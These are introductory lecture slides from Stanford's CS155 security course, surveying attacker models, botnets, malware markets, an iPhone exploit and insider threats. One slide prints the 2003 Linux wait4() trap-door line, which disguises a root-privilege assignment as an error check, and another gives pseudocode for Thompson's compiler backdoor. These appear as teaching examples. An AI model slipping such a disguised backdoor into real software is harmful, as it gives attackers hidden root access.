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Computer and
Network Security
Dan Boneh and John Mitchell
CS 155 Spring 2010
https://courseware.stanford.edu/pg/courses/CS155

What’s this course about?
Intro to computer and network security
Some challenging fun projects
 Learn about attacks
 Learn about preventing attacks
Lectures on related topics
 Application and operating system security
 Web security
 Network security
Some overlap with CS241, Web Security
Not a course on Cryptography (take CS255)

Organization
Application and OS security (5 lectures)
 Buffer overflow project
 Vulnerabilities: control hijacking attacks, fuzzing
 Prevention: System design, robust coding, isolation
Web security (4 lectures)
 Web site attack and defenses project
 Browser policies, session mgmt, user authentication
 HTTPS and web application security
Network security (6 lectures)
 Network traceroute and packet filtering project
 Protocol designs, vulnerabilities, prevention
 Malware, botnets, DDoS, network security testing
A few other topics
 Cryptography (user perspective), digital rights management,
final guest lecture, …

General course info (see web)
Prerequisite: Operating systems (CS140)
Textbook: none – reading online
Coursework
 3 projects, 2 homeworks, final exam
 grade: 0.25 H + 0.5 P + 0.25 F
Teaching assistants
 Hariny Murli, Hristo Bojinov
Occasional optional section
 Experiment this year: Live Meeting

What is security?
System correctness
 If user supplies expected input, system generates
desired output
Security
 If attacker supplies unexpected input, system does
not fail in certain ways

What is security?
System correctness
 Good input  Good output
Security
 Bad input  Bad output

What is security?
System correctness
 More features: better
Security
 More features: can be worse

Security properties
Confidentiality
 Information about system or its users cannot be
learned by an attacker
Integrity
 The system continues to operate properly, only
reaching states that would occur if there were no
attacker
Availability
 Actions by an attacker do not prevent users from
having access to use of the system

System
Attacker
Alice
General picture
Security is about
 Honest user (e.g., Alice, Bob, …)
 Dishonest Attacker
 How the Attacker
 Disrupts honest user’s use of the system (Integrity, Availability)
 Learns information intended for Alice only (Confidentiality)

Network Attacker
Intercepts and
controls network
communication
Alice
System
Network security

Web Attacker
Sets up malicious
site visited by
victim; no control
of network
Alice
System
Web security

OS Attacker
Controls malicious
files and
applications
Alice
Operating system security

System
Attacker
Alice
Confidentiality: Attacker does not learn Alice’s secrets
Integrity: Attacker does not undetectably corrupt system’s function for Alice
Availability: Attacker does not keep system from being useful to Alice

Historical hackers (prior to 2000)
Profile:
 Male
 Between 14 and 34 years of age
 Computer addicted
 No permanent girlfriend
No Commercial Interest !!!
Source: Raimund Genes

Typical Botherder: 0x80" (pronounced X-eighty)
High school dropout
 “…most of these people I infect are so stupid they really ain't got no
business being on the Internet in the first place.“
Working hours: approx. 2 minutes/day to manage Botnet
Monthly earnings: $6,800 on average
Daily Activities:
 Chatting with people while his bots make him money
 Recently paid $800 for an hour alone in a VIP room with several dancers
Job Description:
 Controls 13,000+ computers in more than 20 countries
 Infected Bot PCs download Adware then search for new victim PCs
 Adware displays ads and mines data on victim's online browsing habits.
 Bots collect password, e-mail address, SS#, credit and banking data
 Gets paid by companies like TopConverting.com, GammaCash.com,
Loudcash, or 180Solutions.
Washington Post: Invasion of the Computer Snatchers

Some things in the news
Nigerian letter (419 Scams) still works:
 Michigan Treasurer Sends 1.2MUSD of State Funds !!!
Many zero-day attacks
 Google, Excel, Word, Powerpoint, Office …
Criminal access to important devices
 Numerous lost, stolen laptops, storage media, containing
customer information
 Second-hand computers (hard drives) pose risk
Vint Cerf estimates ¼ of PCs on Internet are bots

Trends for 2010
Malware, worms, and Trojan horses
 spread by email, instant messaging, malicious or infected websites
Botnets and zombies
 improving their encryption capabilities, more difficult to detect
Scareware – fake/rogue security software
Attacks on client-side software
 browsers, media players, PDF readers, etc.
Ransom attacks
 malware encrypts hard drives, or DDOS attack
Social network attacks
 Users’ trust in online friends makes these networks a prime target.
Cloud Computing - growing use will make this a prime target for attack.
Web Applications - developed with inadequate security controls
Budget cuts - problem for security personnel and a boon to cyber criminals.
Texas CISO, Feb 2010
Same list in Oklahoma Monthly Security Tips Newsletter

Operating system
vulnerabilities

Reported Web Vulnerabilities "In the Wild"
Data from aggregator and validator of NVD-reported vulnerabilities

Web vs System vulnerabilities
XSS peak

Botnet Lifecycle
Propagation
 Compromised host activity
 Network probe and other activity
 Recognizable activity on newly infected host

Recent work on malware distribution
• Blogs are widely used
- 184 Million blogs world-wide
- 73% of internet users have read a blog
- 50% post comments
• Blogs have automated Linkbacks
- Facilitate cross-referencing
- Exploited by spammers
• We carried out a 1-year study
- Analyzed 10 million spam samples
- Gained insight on attacker’s method of operation and resources
- Propose a defense against blog spams

How big is the problem?
Source: Akismet.com
One blog spam can
reach thousand of
users

Honeyblog Experiment
Blog acting as potential target for spamming
 Hosted a real blog (dotclear) with a modified
TrackBack mechanism
 Record TrackBacks
 Passive fingerprinting
 Sample the lure site

Malware installation
– TrojanDownloader:Win
32/Zlob.gen!dll
– Trojan.Popuper.origin
– Downloader.Zlob.LI

Trackback spam example
Apparent Bayesian poisoning against spam
filters:
[title] => Please teacher hentai pics
[url] =>http://please-teacher-hentai-
pics.howdsl.nx.cn/index.html
[excerpt] => pics Please teacher hentai pics
...
[blog_name] =>Please teacher hentai pics

Number of notifications detected
Mar-Apr
2007
May-Jun
2007
July 2007-Apr 2008
Mar-Apr
2007
May-
Jun
2007
July 2007-Apr 2008

Number of IP Addresses
Mar-Apr
2007
May-Jun
2007
July 2007-Apr 2008
Mar-Apr
2007
May-
Jun
2007
July 2007-Apr 2008

Origin
Mar-Apr 2007 May-Jun 2007
July 2007-
Apr 2008
Russia USA Germany UK

User agents reported to honeyblog
Mar-
Apr
2007
May-
Jun
2007
Jul 2007-Apr 2008
Mar-Apr
2007
May-Jun
2007
July 2007-Apr 2008

Web attack toolkit: MPack
Basic setup
 Toolkit hosted on web server
 Infects pages on that server
 Page visitors get infected
Features
 Customized: determines
exploit on the fly, based on
user’s OS, browser, etc
 Easy to use: management
console provides stats on
infection rates
 Customer care toolkit can be
purchased with one-year
support contract!

SilentBanker
Proxy intercepts
request and adds
fields
Bank sends login
page needed to
log in
When user submits
information, also sent
to attacker
Credit: Zulfikar Ramzan

Estonia: network attack
Jaak Aaviksoo, Minister of Defence

Steal cars
with a laptop
NEW YORK - Security technology created
to protect luxury vehicles may now make it
easier for tech-savy thieves to drive away
with them.
In April ‘07, high-tech criminals made
international headlines when they used a
laptop and transmitter to open the locks
and start the ignition of an armor-plated
BMW X5 belonging to soccer player David
Beckham, the second X5 stolen from him
using this technology within six months.
… Beckham's BMW X5s were stolen by
thieves who hacked into the codes for the
vehicles' RFID chips …

iPhone attack (summer 2007)
iPhone Safari downloads malicious web page
 Arbitrary code is run with administrative privileges
 Can read SMS log, address book, call history,
other data
 Can perform physical actions on the phone.
 system sound and vibrate the phone for a second
 could dial phone numbers, send text messages, or record
audio (as a bugging device)
 Transmit collected data over network to attacker
See http://www.securityevaluators.com/iphone/

iPhone security measures
“Reduced attack surface”
 Stripped down and customized version of Mac OS X
 does not have common binaries such as bash, ssh, or even ls.
 MobileSafari - many features of Safari have been removed
 No Flash plug-in, many file types cannot be downloaded
Some internal protection
 If USB syncing with iTunes, file system cannot be mounted
 File system accessible to iTunes is chroot’ed
Weak security architecture
 All processes of interest run with administrative privileges
 iPhone does not utilize some widely accepted practices
 Address randomization
 Each time a process runs, the stack, heap, and executable
code located at precisely the same spot in memory
 Non-executable heaps
 Buffer overflow on heap can write executable instructions

Analysis methods
Extract and statically analyze binaries
 Using jailbreak and iPhoneInterface,
Audit related open-source code
 MobileSafari and MobileMail applications are based
on the open source WebKit project
Dynamic analysis, or “fuzzing”
 Sending malformed data to cause a fault or crash
 Look at error messages, memory dump, etc.
MobileSafari attack discovered using fuzzing
 What kind of vulnerability do you think it was?

Suggestions for improvement
Run applications as an unprivileged user
 This would result in a successful attacker only gaining the
rights of this unprivileged user.
chroot apps to prevent access to unrelated data
 MobileSafari does not need access to email or SMS msgs
 MobileMail deos not need access to browsing history
Add heap and stack address randomization
 This will serve to make the development of exploits for
vulnerabilities more difficult
Memory protection: no pages both writable and
executable
See http://www.securityevaluators.com/iphone/exploitingiphone.pdf

• Spam service
• Rent-a-bot
• Cash-out
• Pump and dump
• Botnet rental

Underground goods and services
Rank Last Goods and services Current Previous Prices
1 2 Bank accounts 22% 21% $10-1000
2 1 Credit cards 13% 22% $0.40-$20
3 7 Full identity 9% 6% $1-15
4 N/R Online auction site
accounts
7% N/A $1-8
5 8 Scams 7% 6% $2.50/wk - $50/wk
(hosting); $25 design
6 4 Mailers 6% 8% $1-10
7 5 Email Addresses 5% 6% $0.83-$10/MB
8 3 Email Passwords 5% 8% $4-30
9 N/R Drop (request or offer) 5% N/A 10-50% of drop amount
10 6 Proxies 5% 6% $1.50-$30
Credit: Zulfikar Ramzan

Why are there security vulnerabilities?
Lots of buggy software...
 Why do programmers write insecure code?
 Awareness is the main issue
Some contributing factors
 Few courses in computer security
 Programming text books do not emphasize security
 Few security audits
 C is an unsafe language
 Programmers have many other things to worry about
 Legacy software (some solutions, e.g. Sandboxing)
 Consumers do not care about security
 Security is expensive and takes time

If you remember only one thing from this course:
A vulnerability that is “too complicated for
anyone to ever find” will be found !
We hope you remember more than one thing

Ethical use of security information
We discuss vulnerabilities and attacks
 Most vulnerabilities have been fixed
 Some attacks may still cause harm
 Do not try these at home or anyplace else
Purpose of this class
 Learn to prevent malicious attacks
 Use knowledge for good purposes

Law enforcement
Sean Smith
 Melissa virus: 5 years in prison, $150K fine
Ehud Tenenbaum (“The Analyzer”)
 Broke into US DoD computers
 6 mos service, suspended prison, $18K fine
Dmitry Sklyarov
 Broke Adobe ebooks
 Prosecuted under DMCA

Difficult problem: insider threat
Easy to hide code in large software packages
 Virtually impossible to detect back doors
 Skill level needed to hide malicious code is much
lower than needed to find it
 Anyone with access to development environment
is capable
slides: Avi Rubin

Example insider attack
Hidden trap door in Linux, Nov 2003
 Allows attacker to take over a computer
 Practically undetectable change
 Uncovered by anomaly in CVS usage
Inserted line in wait4()
 Looks like a standard error check
 Anyone see the problem?
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
See: http://lwn.net/Articles/57135/

Example #2
Rob Harris case - slot machines
 an insider: worked for Gaming Control Board
Malicious code in testing unit
 when testers checked slot machines
 downloaded malicious code to slot machine
 was never detected
 special sequence of coins activated “winning
mode”
Caught when greed sparked investigation
 $100,000 jackpot

Example #3
Breeder’s cup race
 Upgrade of software to phone betting system
 Insider, Christopher Harn, rigged software
 Allowed him and accomplices to call in
 change the bets that were placed
 undetectable
 Caught when got greedy
 won $3 million
http://horseracing.about.com/library/weekly/aa110102a.htm

Software dangers
Software is complex
 top metric for measuring #of flaws is lines of code
Windows Operating System
 tens of millions of lines of code
 new “critical” security bug announced every week
Unintended security flaws unavoidable
Intentional security flaws undetectable

Ken Thompson
What code can we trust?
 Consider "login" or "su" in Unix
 Is RedHat binary reliable?
 Does it send your passwd to someone?
Can't trust binary so check source, recompile
 Read source code or write your own
 Does this solve problem?
Reflections on Trusting Trust, http://www.acm.org/classics/sep95/

Compiler backdoor
This is the basis of Thompson's attack
 Compiler looks for source code that looks like login
program
 If found, insert login backdoor (allow special user
to log in)
How do we solve this?
 Inspect the compiler source

C compiler is written in C
Change compiler source S
compiler(S) {
if (match(S, "login-pattern")) {
compile (login-backdoor)
return
}
if (match(S, "compiler-pattern")) {
compile (compiler-backdoor)
return
}
.... /* compile as usual */
}

Clever trick to avoid detection
Compile this compiler and delete backdoor tests from
source
 Someone can compile standard compiler source to get new
compiler, then compile login, and get login with backdoor
Simplest approach will only work once
 Compiling the compiler twice might lose the backdoor
 But can making code for compiler backdoor output itself
 (Can you write a program that prints itself? Recursion thm)
Read Thompson's article
 Short, but requires thought

Social engineering
Many attacks don't use computers
 Call system administrator
 Dive in the dumpster
Online versions
 send trojan in email
 picture or movie with malicious code

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